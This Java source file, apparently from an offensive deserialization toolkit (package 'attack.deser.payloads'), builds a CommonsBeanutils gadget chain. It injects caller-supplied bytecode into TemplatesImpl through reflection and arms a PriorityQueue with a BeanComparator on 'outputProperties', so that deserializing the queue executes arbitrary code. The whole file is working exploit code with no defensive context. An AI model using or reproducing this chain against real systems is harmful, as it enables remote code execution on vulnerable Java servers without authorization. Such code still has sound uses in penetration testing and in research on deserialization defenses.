content: package com.summersec.attack.deser.payloads;
  
  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
  import org.apache.commons.beanutils.BeanComparator;
  
  import java.lang.reflect.Field;
  import java.util.PriorityQueue;
  
  /**
   * @ClassName: test
   * @Description: TODO
   * @Author: Summer
   * @Date: 2021/6/6 18:56
   * @Version: v1.0.0
   * @Description:
   **/
  public class test {
      public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
          Field field = obj.getClass().getDeclaredField(fieldName);
          field.setAccessible(true);
          field.set(obj, value);
      }
  
      public void getPayload(byte[] clazzBytes) throws Exception {
          TemplatesImpl obj = new TemplatesImpl();
          setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
          setFieldValue(obj, "_name", "HelloTemplatesImpl");
          setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
          AttrCompare compare1 = new AttrCompare();
          AttrCompare compare2 = new AttrCompare();
  
  
  //        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
          final BeanComparator comparator = new BeanComparator(null, new AttrCompare());
          final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
          // stub data for replacement later
          queue.add(compare1);
          queue.add(compare2);
  
  
          setFieldValue(comparator, "property", "outputProperties");
          setFieldValue(queue, "queue", new Object[]{obj, obj});
  
      }
  
  }
  